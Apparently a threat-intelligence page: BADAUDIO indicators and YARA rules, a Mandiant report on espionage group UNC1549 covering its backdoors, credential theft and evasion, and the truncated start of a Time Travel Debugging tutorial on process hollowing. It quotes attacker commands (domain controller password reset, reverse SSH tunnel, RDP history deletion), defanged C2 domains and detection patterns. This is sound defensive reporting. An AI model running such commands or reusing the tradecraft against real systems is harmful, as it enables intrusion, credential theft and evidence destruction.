1f31ddd2f598bd193b125a345a709eedc3b5661b0645fc08fa19e93d83ea5459
c4e910b443b183e6d5d4e865dd8f978fd635cd21c765d988e92a5fd60a4428f5
2ea075c6cd3c065e541976cdc2ec381a88b748966f960965fdbe72a5ec970d4e

BADAUDIO Binaries

9ce49c07c6de455d37ac86d0460a8ad2544dc15fb5c2907ed61569b69eefd182
d23ca261291e4bad67859b5d4ee295a3e1ac995b398ccd4c06d2f96340b4b5f8
cfade5d162a3d94e4cba1e7696636499756649b571f3285dd79dea1f5311adcd
f086c65954f911e70261c729be2cdfa2a86e39c939edee23983090198f06503c
f1e9d57e0433e074c47ee09c5697f93fde7ff50df27317c657f399feac63373a
176407b1e885496e62e1e761bbbb1686e8c805410e7aec4ee03c95a0c4e9876f
c7565ed061e5e8b2f8aca67d93b994a74465e6b9b01936ecbf64c09ac6ee38b9
83fb652af10df4574fa536700fa00ed567637b66f189d0bbdb911bd2634b4f0e

Strategic Web Compromise — Stage 2

www[.]availableextens[.]com
www[.]twisinbeth[.]com
www[.]decathlonm[.]com
www[.]gerikinage[.]com
www[.]p9-car[.]com
www[.]growhth[.]com
www[.]brighyt[.]com
taiwantradoshows[.]com
jsdelivrs[.]com

BADAUDIO C2

clients[.]brendns.workers[.]dev
www[.]cundis[.]com
wispy[.]geneva[.]workers[.]dev
www[.]twisinbeth[.]com
tradostw[.]com
jarzoda[.]net
trcloudflare[.]com
roller[.]johallow.workers[.]dev

Cobalt Strike Beacon Watermark

Watermark_Hash: BeudtKgqnlm0Ruvf+VYxuw==

YARA Rules

rule G_Downloader_BADAUDIO_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$string_decode = { 0F 28 [1-5] 0F 29 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 28 ?? 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 57 ?? 0F 2? [1-5] 0F 2? [1-5] 0F 2? }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
	condition:
		uint16(0) == 0x5a4d and all of them and #string_decode > 2 and #control_flow_obfuscation > 2
}

rule G_Downloader_BADAUDIO_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$c_string_decode = { C5 F8 28 [1-24] C5 F8 57 [1-8] 0F 94 [4-128] C5 F8 29 [1-64] C5 F8 29 [1-24] C5 F8 57 [1-8] 0F 94 }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
		$c_part_of_control_flow_obfuscation_and_string_decode = { C5 F8 28 [1-5] 8B 46 ?? C5 F8 57 40 }
	condition:
		uint16(0) == 0x5a4d and all of ($s*) and #control_flow_obfuscation > 2 and ($c_string_decode or (#c_part_of_control_flow_obfuscation_and_string_decode > 5 and #c_part_of_control_flow_obfuscation_and_string_decode > 20))
}

rule G_APT_DOWNLOADER_BADAUDIO_3 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $s1 = "SystemFunction036"
        $s2 = "6666666666666666\\\\\\\\\\\\\\\\\\"
        $dc1 = { C1 C2 1A ?? ?? C1 C3 15 31 D3 ?? ?? C1 C2 07 }
        $dc2 = { C1 C1 1E ?? ?? C1 C6 13 ?? ?? C1 C0 0A 31 }
        $dc3 = { C1 C5 19 C1 C7 0E 01 ?? ?? ?? 31 EF C1 EB 03 31 }
        $dc4 = { C1 C7 0F 8B ?? ?? ?? ?? ?? C1 C3 0D 31 FB C1 EA 0A 31 }
        $f1 = { ( 0F 1F 84 00 00 00 00 00 | 66 2E 0F 1F 84 00 00 00 00 00 | 0F 1F 44 00 00 | 0F 1F 40 00 | 0F 1F 00 | 66 90 ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? | 0F 8? ) }
        $f2 = /\x0F\x4C\xC1\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})/
    condition:
        all of ($s*) and 3 of ($dc*) and uint16(0) == 0x5A4D and (#f1 > 5 or #f2 > 2) and filesize < 10MB
}

rule G_APT_DOWNLOADER_BADAUDIO_4 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $p00_0 = {8d4d??e8[4]8b7d??83c6??eb??c745[5]e8[4]8b4d??64890d}
        $p00_1 = {568b7c24??8b7424??8b5424??89f1e8[4]f20f1007f20f104f??f20f118e}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (0..1100000) and $p00_1 in (0..990000))
        )
}

Written by: Mohamed El-Banna, Daniel Lee, Mike Stokkel, Josh Goddard

Overview

Last year, Mandiant published a blog post highlighting suspected Iran-nexus espionage activity targeting the aerospace, aviation, and defense industries in the Middle East. In this follow-up post, Mandiant discusses additional tactics, techniques, and procedures (TTPs) observed in incidents Mandiant has responded to.

Since mid-2024, Mandiant has responded to targeted campaigns by the threat group UNC1549 against the aerospace, aviation and defense industries. To gain initial access into these environments, UNC1549 employed a dual approach: deploying well-crafted phishing campaigns designed to steal credentials or deliver malware and exploiting trusted connections with third-party suppliers and partners.

The latter technique is particularly strategic when targeting organizations with high security maturity, such as defense contractors. While these primary targets often invest heavily in robust defenses, their third-party partners may possess less stringent security postures. This disparity provides UNC1549 a path of lesser resistance, allowing them to circumvent the primary target's main security controls by first compromising a connected entity.

Operating in late 2023 through 2025, UNC1549 employed sophisticated initial access vectors, including abuse of third-party relationships to gain entry (pivoting from service providers to their customers), VDI breakouts from third parties, and highly targeted, role-relevant phishing.

Once inside, the group leverages creative lateral movement techniques, such as stealing victim source code for spear-phishing campaigns that use lookalike domains to bypass proxies, and abusing internal service ticketing systems for credential access. They employ custom tooling, notably DCSYNCER.SLICK—a variant deployed via search order hijacking to conduct DCSync attacks.

UNC1549’s campaign is distinguished by its focus on anticipating investigators and ensuring long-term persistence after detection. They plant backdoors that beacon silently for months, only activating them to regain access after the victim has attempted eradication. They maintain stealth and command and control (C2) using extensive reverse SSH shells (which limit forensic evidence) and domains strategically mimicking the victim's industry.

Threat Activity

Initial Compromise

A primary initial access vector employed by UNC1549 involved combining targeted social engineering with the exploitation of compromised third-party accounts. Leveraging credentials harvested from vendors, partners, or other trusted external entities, UNC1549 exploited legitimate access pathways inherent in these relationships.

Third-Party Services

Notably, the group frequently abused Citrix, VMWare, and Azure Virtual Desktop and Application services provided by victim organizations to third party partners, collaborators, and contractors. Utilizing compromised third-party credentials, they authenticated to the supplier’s infrastructure, establishing an initial foothold within the network perimeter. Post-authentication, UNC1549 used techniques designed to escape the security boundaries and restrictions of the virtualized Citrix session. This breakout granted them access to the underlying host system or adjacent network segments, and enabled the initiation of lateral movement activities deeper within the target corporate network.

Spear Phishing

UNC1549 utilized targeted spear-phishing emails as one of the methods to gain initial network access. These emails used lures related to job opportunities or recruitment efforts, aiming to trick recipients into downloading and running malware hidden in attachments or links. Figure 1 shows a sample phishing email sent to one of the victims.

Following a successful breach, Mandiant observed UNC1549 pivoting to spear-phishing campaigns specifically targeting IT staff and administrators. The goal of this campaign was to obtain credentials with higher permissions. To make these phishing attempts more believable, the attackers often perform reconnaissance first, such as reviewing older emails in already compromised inboxes for legitimate password reset requests or identifying the company's internal password reset webpages, then crafted their malicious emails to mimic these authentic processes.

Establish Foothold

To maintain persistence within compromised networks, UNC1549 deployed several custom backdoors. Beyond MINIBIKE, which Mandiant discussed in the February 2024 blog post, the group also utilizes other custom malware such as TWOSTROKE and DEEPROOT. Significantly, Mandiant's analysis revealed that while the malware used for initial targeting and compromises was not unique, every post-exploitation payload identified, regardless of family, had a unique hash. This included instances where multiple samples of the same backdoor variant were found within the same victim network. This approach highlights UNC1549's sophistication and the considerable effort invested in customizing their tools to evade detection and complicate forensic investigations.

Search Order Hijacking

UNC1549 abused DLL search order hijacking to execute CRASHPAD, DCSYNCER.SLICK, GHOSTLINE, LIGHTRAIL, MINIBIKE, POLLBLEND, SIGHTGRAB, and TWOSTROKE payloads. Using the DLL search order hijacking techniques, UNC1549 achieved a persistent and stealthy way of executing their tooling.

Throughout the different investigations, UNC1549 demonstrated a comprehensive understanding of software dependencies by exploiting DLL search order hijacking in multiple software solutions. UNC1549 has deployed malicious binaries targeting legitimate Fortigate, VMWare, Citrix, Microsoft, and NVIDIA executables. In many cases, the threat actor installed the legitimate software after initial access in order to abuse SOH; however, in other cases, the attacker leveraged software that was already installed on victim systems and then replaced or added the malicious DLLs within the legitimate installation directory, typically with SYSTEM privileges.

TWOSTROKE

TWOSTROKE, a C++ backdoor, utilizes SSL-encrypted TCP/443 connections to communicate with its controllers. This malware possesses a diverse command set, allowing for system information collection, DLL loading, file manipulation, and persistence. While showing some similarities to MINIBIKE, it's considered a unique backdoor.

Upon execution of TWOSTROKE, it employs a specific routine to generate a unique victim identifier. TWOSTRIKE retrieves the fully qualified DNS computer name using the Windows API function GetComputerNameExW(ComputerNameDnsFullyQualified). This retrieved name then undergoes an XOR encryption process, utilizing the static key. Following the encryption, the resulting binary data is converted into a lowercase hexadecimal string. 

Finally, TWOSTROKE extracts the first eight characters of this hexadecimal string, reverses it, and uses it as the victim's unique bot ID for later communication with the C2 server.

Functionalities

After sending the check in request to the C2 server, the TWOSTROKE C2 server returns with a hex-encoded payload that contains multiple values separated by "@##@." Depending on the received command, TWOSTROKE can execute one of the following commands:

• 1: Upload a file to the C2

• 2: Execute a file or a shell command

• 3: DLL execution into memory

• 4: Download file from the C2

• 5: Get the full victim user name

• 6: Get the full victim machine name

• 7: List a directory

• 8: Delete a file

LIGHTRAIL

UNC1549 was observed downloading a ZIP file from attacker-owned infrastructure. This ZIP file contained the LIGHTRAIL tunneler as VGAuth.dll and was executed through search order hijacking using the VGAuthCLI.exe executable. LIGHTRAIL is a custom tunneler, likely based on the open-source Socks4a proxy, Lastenzug, that communicates using Azure cloud infrastructure. 

There are several distinct differences between the LIGHTRAIL sample and the LastenZug source code. These include:

• Increasing the MAX_CONNECTIONS from 250 to 5000

• Static configuration inside the lastenzug function (wPath and port)

• No support for using a proxy server when connecting to the WebSocket C2

• Compiler optimizations reducing the number of functions (26 to 10)

Additionally, LastenZug is using hashing for DLLs and API function resolving. By default, the hash value is XOR’d with the value 0x41507712, while the XOR value in the observed LIGHTRAIL sample differs from the original source code - 0x41424344 (‘ABCD’).

After loading the necessary API function pointers, the initialization continues by populating the server name (wServerName), the port, and URI (wPath) values. The port is hardcoded at 443 (for HTTPS) and the path is hardcoded to "/news." This differs from the source code where these values are input parameters to the lastenzug function.

The initWS function is responsible for establishing the WebSocket connection, which it does using the Windows WinHTTP API. The initWS function has a hard-coded User-Agent string which it constructs as a stack string:

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136

Mandiant identified another LIGHTRAIL sample uploaded to VirusTotal from Germany. However, this sample seems to have been modified by the uploader as the C2 domain was intentionally altered.

GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1
Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com
Connection: Upgrade
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
Sec-WebSocket-Version: 13

Figure 2: Modified LIGHTRAIL network communication snippet

Most notable is that this sample is using a different URL path for its communication, but also the User-Agent in this sample is different from the one that was observed in previous LIGHTRAIL samples and the LastenZug source code.

DEEPROOT

DEEPROOT is a Linux backdoor written in Golang and supports the following functionalities: shell command execution, system information enumeration and file listing, delete, upload, and download. DEEPROOT was compiled to be operating on Linux systems; however, due to Golang’s architecture DEEPROOT could also be compiled for other operating systems. At the time of writing, Mandiant has not observed any DEEPROOT samples targeting Windows systems.

DEEPROOT was observed using multiple C2 domains hosted in Microsoft Azure. The observed DEEPROOT samples used multiple C2 servers per binary, suspected to be used for redundancy in case one C2 server has been taken down.

Functionalities

After sending the check in request to the C2 server, the DEEPROOT C2 server returns with a hex-encoded payload that contains multiple values separated by ‘-===-’

<sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2>

Figure 3: Decoded POST body data structure

• sleep_timeout is the time in milli-seconds to wait before making the next request.

• command_id is an identifier for the C2 command, used by the backdoor when responding to the C2 with the result.

• command is the command number and it's one of the following:

• 1 - Get directory information (directory listing), the directory path is received in argument_1.

• 2 - Delete a file, the file path is received in argument_1.

• 3 - Get the victim username.

• 4 - Get the victim's hostname.

• 5 - Execute a shell command, the shell command is received in argument_1.

• 6 - Download a file from the C2, the C2 file path is received in argument_1 and the local file path is received in argument_2.

• 7 - Upload a file to the C2, the local file path is received in argument_1.

• argument_1 and argument_2 are the command arguments and it is optional.

GHOSTLINE

GHOSTLINE is a Windows tunneler utility written in Golang that uses a hard-coded domain for its communication. GHOSTLINE uses the go-yamux library for its network connection.

POLLBLEND

POLLBLEND is a Windows tunneler that is written in C++. Earlier iterations of POLLBLEND featured multiple hardcoded C2 servers and utilized two hardcoded URI parameters for self-registration and tunneler configuration download. For the registration of the machine, POLLBLEND would reach out to /register/ and sent a HTTP POST request with the following JSON body.

{"username": "<computer_name>"}

Figure 4: POLLBLEND body data

Code Signing

Throughout the tracking of UNC1549’s activity across multiple intrusions, the Iranian-backed threat group was observed signing some of their backdoor binaries with legitimate code-signing certificates—a tactic also covered by Check Point—likely to help their malware evade detection and bypass security controls like application allowlists, which are often configured to trust digitally signed code. The group employed this technique to weaponize malware samples, including variants for GHOSTLINE, POLLBLEND, and TWOSTROKE. All identified code-signing certificates have been reported to the relevant issuing Certificate Authorities for revocation.

Escalate Privileges

UNC1549 has been observed using a variety of techniques and custom tools aimed at stealing credentials and gathering sensitive data post-compromise. This included a utility, tracked as DCSYNCER.SLICK, designed to mimic the DCSync Active Directory replication feature. DCSync is a legitimate function domain controllers use for replicating changes via RPC. This allowed the attackers to extract NTLM password hashes directly from the domain controllers. Another tool, dubbed CRASHPAD, focused on extracting credentials saved within web browsers. For visual data collection, they deployed SIGHTGRAB, a tool capable of taking periodic screenshots, potentially capturing sensitive information displayed on the user's screen. Additionally, UNC1549 utilized simpler methods, such as deploying TRUSTTRAP, which presented fake popup windows prompting users to enter their credentials, which were then harvested by the attackers.

UNC1549 frequently used DCSync attacks to obtain NTLM password hashes for domain users, which they then cracked in order to facilitate lateral movement and privilege escalation. To gain the necessary directory replication rights for DCSync, the threat actor employed several methods. They were observed unconventionally resetting passwords for domain controller computer accounts using net.exe. This action typically broke the domain controller functionality of the host and caused an outage, yet it successfully enabled them to perform the DCSync operation and extract sensitive credentials, including those for domain administrators and Azure AD Connect accounts. UNC1549 leveraged other techniques to gain domain replication rights, including creating rogue computer accounts and abusing Resource-Based Constrained Delegation (RBCD) assignments. They also performed Kerberoasting, utilizing obfuscated Invoke-Kerberoast scripts, for credential theft.

net user DC-01$ P@ssw0rd

Figure 5: Example of an UNC1549 net.exe command to reset a domain controller computer account

In some cases, shortly after gaining a foothold on workstations, UNC1549 discovered vulnerable Active Directory Certificate Services templates. They used these to request certificates, allowing them to impersonate higher-privileged user accounts.

UNC1549 also frequently targeted saved credentials within web browsers, either through malicious utilities or by RDP session hijacking. In the latter, the threat actor would identify which user was logged onto a system through quser.exe or wmic.exe, and then RDP to that system with the user's account to gain access to their active and unlocked web browser sessions.

DCSYNCER.SLICK

DCSYNCER.SLICK is a Windows executable that is based on the Open source Project DCSyncer and is based on Mimikatz source code. DCSYNCER.SLICK has been modified to use Dynamic API resolution and has all its printf statements removed.

Additionally, DCSYNCER.SLICK collects and XOR-encrypts the credentials before writing them to a hardcoded filename and path. The following hardcoded filenames and paths were observed being used by DCSYNCER.SLICK:

• C:\users\public\LOG.txt
• C:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt

To evade detection, UNC1549 executed the malware within the context of a compromised domain controller computer account. They achieved this compromise by manually resetting the account password. Instead of utilizing the standard netdom command, UNC1549 used the Windows command net user <computer_name> <password>. Subsequently, they used these newly acquired credentials to execute the DCSYNCER.SLICK payload. This tactic would give the false impression that replication had occurred between two legitimate domain controllers.

CRASHPAD

CRASHPAD is a Windows executable that is written in C++ that decrypts the content of the file config.txt into the file crash.log by impersonating the explorer.exe user privilege and through the CryptUnprotectData API.

• C:\Program Files\VMware\VMware Tools\VMware VGAuth\crash.log

• C:\Program Files\VMware\VMware Tools\VMware VGAuth\config.txt

The contents of these files could not be determined because UNC1549 deleted the output after CRASHPAD was executed.

The CRASHPAD configuration and output file paths were hardcoded into the sample, similar to the LOG.txt filename found in the DCSYNCER.SLICK binary.

SIGHTGRAB

SIGHTGRAB is a Windows executable written in C that autonomously captures screen shots at regular intervals and saves them to disk. Upon execution SIGHTGRAB loads several Windows libraries dynamically at runtime including User32.dll, Gdi32.dll, and Ole32.dll. SIGHTGRAB implements runtime API resolution through LoadLibraryA and GetProcAddress calls with encoded strings to access system functions. SIGHTGRAB uses XOR encryption with a single-byte key of 0x41 to decode API function names.

SIGHTGRAB retrieves the current timestamp and uses string interpolation of YYYY-MM-DD-HH-MM on the timestamp to generate the directory name. In this newly created directory, SIGHTGRAB saves all the taken screenshots incrementally.

C:\Users\Public\Videos\2025-3-7-10-17\1.jpg
C:\Users\Public\Videos\2025-3-7-10-17\2.jpg
C:\Users\Public\Videos\2025-3-7-10-17\3.jpg

C:\Users\Public\Music\2025-3-7-10-17\1.jpg
C:\Users\Public\Music\2025-3-7-10-17\2.jpg
C:\Users\Public\Music\2025-3-7-10-17\3.jpg

Figure 6: Examples of screenshot files created by SIGHTGRAB on disk

Mandiant observed UNC1549 strategically deploy SIGHTGRAB on workstations to target users in two categories: those handling sensitive data, allowing for subsequent data exposure and exfiltration, and those with privileged access, enabling privilege escalation and access to restricted systems.

TRUSTTRAP

A malware that serves a Windows prompt to trick the user into submitting their credentials. The captured credentials are saved in cleartext to a file. Figure 7 shows a sample popup by TRUSTTRAP mimicking the Microsoft Outlook login window.

TRUSTTRAP has been used by UNC1549 since at least 2023 for obtaining user credentials used for lateral movement.

Reconnaissance and Lateral Movement

For internal reconnaissance, UNC1549 leveraged legitimate tools and publicly available utilities, likely to blend in with standard administrative activities. AD Explorer, a valid executable signed by Microsoft, was used to query Active Directory and inspect its configuration details. Alongside this, the group employed native Windows commands like net user and net group to enumerate specific user accounts and group memberships within the domain, and PowerShell scripts for ping and port scanning reconnaissance on specific subnets, typically those associated with privileged servers or IT administrator workstations 

UNC1549 uses a wide variety of methods for lateral movement, depending on restrictions within the victim environment. Most frequently, RDP was used. Mandiant also observed the use of PowerShell Remoting, Atelier Web Remote Commander (“AWRC”), and SCCM remote control, including execution of variants of SCCMVNC to enable SCCM remote control on systems.

Atelier Web Remote Commander

Atelier Web Remote Commander (AWRC) is a commercial utility for remotely managing, auditing, and supporting Windows systems. Its key distinction is its agentless design, meaning it requires no software installation or pre-configuration on the remote machine, enabling administrators to connect immediately. 

Leveraging the capabilities of AWRC, UNC1549 utilized this publicly available commercial tool to facilitate post-compromise activities. These activities included:

• Established remote connections: Used AWRC to connect remotely to targeted hosts within the compromised network

• Conducted reconnaissance: Employed AWRC's built-in functions to gather information by:

• Enumerating running services

• Enumerating active processes

• Enumerating existing RDP sessions

• Stole credentials: Exploited AWRC to exfiltrate sensitive browser files known to contain stored user credentials from remote systems

• Deployed malware: Used AWRC as a vector to transfer and deploy malware onto compromised machines

SCCMVNC

SCCMVNC is a tool designed to leverage the existing Remote Control feature within Microsoft System Center Configuration Manager (SCCM/ConfigMgr) to achieve a VNC-like remote access experience without requiring additional third-party modules or user consent/notifications.

SCCM.exe reconfig /target:[REDACTED]

Figure 8: Example of an UNC1549 executing SCCMVNC command

The core functionality of SCCMVNC lies in its ability to manipulate the existing Remote Control feature of SCCM. Instead of deploying a separate VNC server or other remote access software, the tool directly interacts with and reconfigures the settings of the native SCCM Remote Control service on a client workstation. This approach leverages an already present and trusted component within the enterprise environment.

A key aspect of SCCMVNC is its capacity to bypass the standard consent and notification mechanisms typically associated with SCCM Remote Control. Normally, when an SCCM remote control session is initiated, the end-user is prompted for permission, and various notification icons or connection bars are displayed. SCCMVNC effectively reconfigures the underlying SCCM settings (primarily through WMI interactions) to disable these user-facing requirements. This alteration allows for a significantly more discreet and seamless remote access experience, akin to what one might expect from a VNC connection where the user might not be immediately aware of the ongoing session.

Command and Control

UNC1549 continued to use Microsoft Azure Web Apps registrations and cloud infrastructure for C2. In addition to backdoors including MINIBUS, MINIBIKE, and TWOSTROKE, UNC1549 relied heavily on SSH reverse tunnels established on compromised systems to forward traffic from their C2 servers to compromised systems. This technique limited the availability of host-based artifacts during investigations, since security telemetry would only record network connections. For example, during data collection from SMB shares, outbound connections were observed from the SSH processes to port 445 on remote systems, but the actual data collected could not be confirmed due to no staging taking place within the victim environment, and object auditing being disabled.

C:\windows\system32\openssh\ssh.exe[Username]@[IP Address] -p 443 -o ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -R 1070

Figure 9: Example of an UNC1549 reverse SSH command

Mandiant also identified evidence of UNC1549 deploying a variety of redundant remote access methods, including ZEROTIER and NGROK. In some instances, these alternative methods weren't used by the threat actor until victim organizations had performed remediation actions, suggesting they are primarily deployed to retain access.

Complete Mission

Espionage

UNC1549's operations appear strongly motivated by espionage, with mission objectives centering around extensive data collection from targeted networks. The group actively seeks sensitive information, including network/IT documentation, intellectual property, and emails. Furthermore, UNC1549 often leverages compromised organizations as a pivot point, using their access to target other entities, particularly those within the same industry sector, effectively conducting third-party supplier and partner intrusions to further their intelligence-gathering goals.

Notably, Mandiant responded to one intrusion at an organization in an unrelated sector, and assessed that the intrusion was opportunistic due to the initial spear phishing lure being related to a job at an aerospace and defense organization. This demonstrated UNC1549’s ability to commit resources to expanding access and persistence in victim organizations that don’t immediately meet traditional espionage goals.

Defense Evasion

UNC1549 frequently deleted utilities from compromised systems after execution to avoid detection and hinder investigation efforts. The deletion of forensic artifacts, including RDP connection history registry keys, was also observed. Additionally, as described earlier, the group repeatedly used SSH reverse tunnels from victim hosts back to their infrastructure, a technique which helped hide their activity from EDR agents installed on those systems. Combined, this activity demonstrated an increase in the operational security of UNC1549 over the past year.

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f

Figure 10: Examples of UNC1549 commands to delete RDP connection history registry keys

Acknowledgement

This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Greg Sinclair and Mustafa Nasser from FLARE, and Melissa Derr, Liam Smith, Chris Eastwood, Alex Pietz, Ross Inman, and Emeka Agu from Mandiant Consulting.

MITRE ATT&CK

Indicators of Compromise (IOCs)

The following IOCs are available in a GTI Collection for registered users.

YARA Rules

import "pe"

rule M_APT_Utility_DCSYNCER_SLICK_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "10f16991665df69d1ccd5187e027cf3d"
	strings:
		$ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ?? 01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ?? ?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48 8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? }
		$ = "\\LOG.txt" ascii wide
		$ = "%ws_%d:%d:" ascii wide fullword
		$ = "%ws:%d:" ascii wide fullword
		$ = "::::" ascii wide fullword
		$ = "%ws_%d:%d::" ascii wide fullword
		$ = "%ws:%d::" ascii wide fullword
	condition:
		pe.is_pe and all of them
}

import "pe"

rule M_APT_Utility_CRASHPAD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "b2bd275f97cb95c7399065b57f90bb6c"
	strings:
		$ = "[-] Loo ror: %u" ascii fullword
		$ = "[-] Adj r: %u" ascii fullword
		$ = "[-] Th ge. " ascii fullword
		$ = "[+] O s!" ascii fullword
		$ = "[-] O C: %i" ascii fullword
		$ = "[-] O E: %i" ascii fullword
		$ = "[+] Op cess!" ascii fullword
		$ = "[-] Op Code: %i" ascii fullword
		$ = "[-] O Error: %i" ascii fullword
		$ = "[+] Im su!" ascii fullword
		$ = "[+] R" ascii fullword
		$ = "[-] Impe Code: %i" ascii fullword
		$ = "[-] Imo: %i" ascii fullword
		$ = "[+] Du success!" ascii fullword
		$ = "[-] Du Code: %i" ascii fullword
		$ = "[-] Du Error: %i" ascii fullword
		$ = "[+] Dec Suc." ascii fullword
		$ = "%02X" ascii fullword
		$ = "Decryption failed" ascii fullword
		$ = "config.txt"
		$ = "crash.log"
		$ = "[+] e wt!" ascii fullword
		$ = "[+] p %d!" ascii fullword
		$ = "[+] e!" ascii fullword
	condition:
		pe.is_pe and 15 of them
}

Google Security Operations Detections

Google SecOps customers receive robust detection for UNC1549 TTPs through curated threat intelligence from Mandiant and Google Threat Intelligence. This frontline intelligence is operationalized within the platform as custom detection signatures and advanced YARA-L rules.

Written by: Josh Stroschein, Jae Young Kim

The prevalence of obfuscation and multi-stage layering in today’s malware often forces analysts into tedious and manual debugging sessions. For instance, the primary challenge of analyzing pervasive commodity stealers like AgentTesla isn’t identifying the malware, but quickly cutting through the obfuscated delivery chain to get to the final payload.

Unlike traditional live debugging, Time Travel Debugging (TTD) captures a deterministic, shareable record of a program's execution. Leveraging TTD's powerful data model and time travel capabilities allow us to efficiently pivot to the key execution events that lead to the final payload.

This post introduces all of the basics of WinDbg and TTD necessary to start incorporating TTD into your analysis. We demonstrate why it deserves to be a part of your toolkit by walking through an obfuscated multi-stage .NET dropper that performs process hollowing.

What is Time Travel Debugging?

Time Travel Debugging (TTD), a technology offered by Microsoft as part of WinDbg, records a process’s execution into a trace file that can be replayed forwards and backwards. The ability to quickly rewind and replay execution reduces analysis time by eliminating the need to constantly restart debugging sessions or restore virtual machine snapshots. TTD also enables users to query the recorded execution data and filter it with Language Integrated Query (LINQ) to find specific events of interest like module loads or calls to APIs that implement malware functionalities like shellcode execution or process injection.

During recording, TTD acts as a transparent layer that allows full interaction with the operating system. A trace file preserves a complete execution record that can be shared with colleagues to facilitate collaboration, circumventing environmental differences that can affect the results of live debugging.

While TTD offers significant advantages, users should be aware of certain limitations. Currently, TTD is restricted to user-mode processes and cannot be used for kernel-mode debugging. The trace files generated by TTD have a proprietary format, meaning their analysis is largely tied to WinDbg. Finally, TTD does not offer "true" time travel in the sense of altering the program's past execution flow; if you wish to change a condition or variable and see a different outcome, you must capture an entirely new trace as the existing trace is a fixed recording of what occurred.

A Multi-Stage .NET Dropper with Signs of Process Hollowing

The Microsoft .NET framework has long been popular among threat actors for developing highly obfuscated malware. These programs often use code flattening, encryption, and multi-stage assemblies to complicate the analysis process. This complexity is amplified by Platform Invoke (P/Invoke), which gives managed .NET code direct access to the unmanaged Windows API, allowing authors to port tried-and-true evasion techniques like process hollowing into their code.

Process hollowing is a pervasive and effective form of code injection where malicious code runs under the guise of another process. It is common at the end of downloader chains because the technique allows injected code to assume the legitimacy of a benign process, making it difficult to spot the malware with basic monitoring tools.

In this case study, we'll use TTD to analyze a .NET dropper that executes its final stage via process hollowing. The case study demonstrates how TTD facilitates highly efficient analysis by quickly surfacing the relevant Windows API functions, enabling us to bypass the numerous layers of .NET obfuscation and pinpoint the payload.

Basic analysis is a vital first step that can often identify potential process hollowing activity. For instance, using a sandbox may reveal suspicious process launches. Malware authors frequently target legitimate .NET binaries for hollowing as these blend seamlessly with normal system operations. In this case, reviewing process activity on VirusTotal shows that the sample launches InstallUtil.exe (found in %windir%\Microsoft.NET\Framework\<version>\). While InstallUtil.exe is a legitimate utility, its execution as a child process of a suspected malicious sample is an indicator that helps focus our initial investigation on potential process injection.

Despite newer, more stealthy techniques, such as Process Doppelgänging, when an attacker employs process injection, it’s still often the classic version of process hollowing due to its reliability, relative simplicity, and the fact that it still effectively evades less sophisticated security solutions. The classic process hollowing steps are as follows:

1. CreateProcess (with the CREATE_SUSPENDED flag): Launches the victim process (InstallUtil.exe) but suspends its primary thread before execution.

2. ZwUnmapViewOfSection or NtUnmapViewOfSection: "Hollows out" the process by removing the original, legitimate code from memory.

3. VirtualAllocEx and WriteProcessMemory: Allocates new memory in the remote process and injects the malicious payload.

4. GetThreadContext: Retrieves the context (the state and register values) of the suspended primary thread.

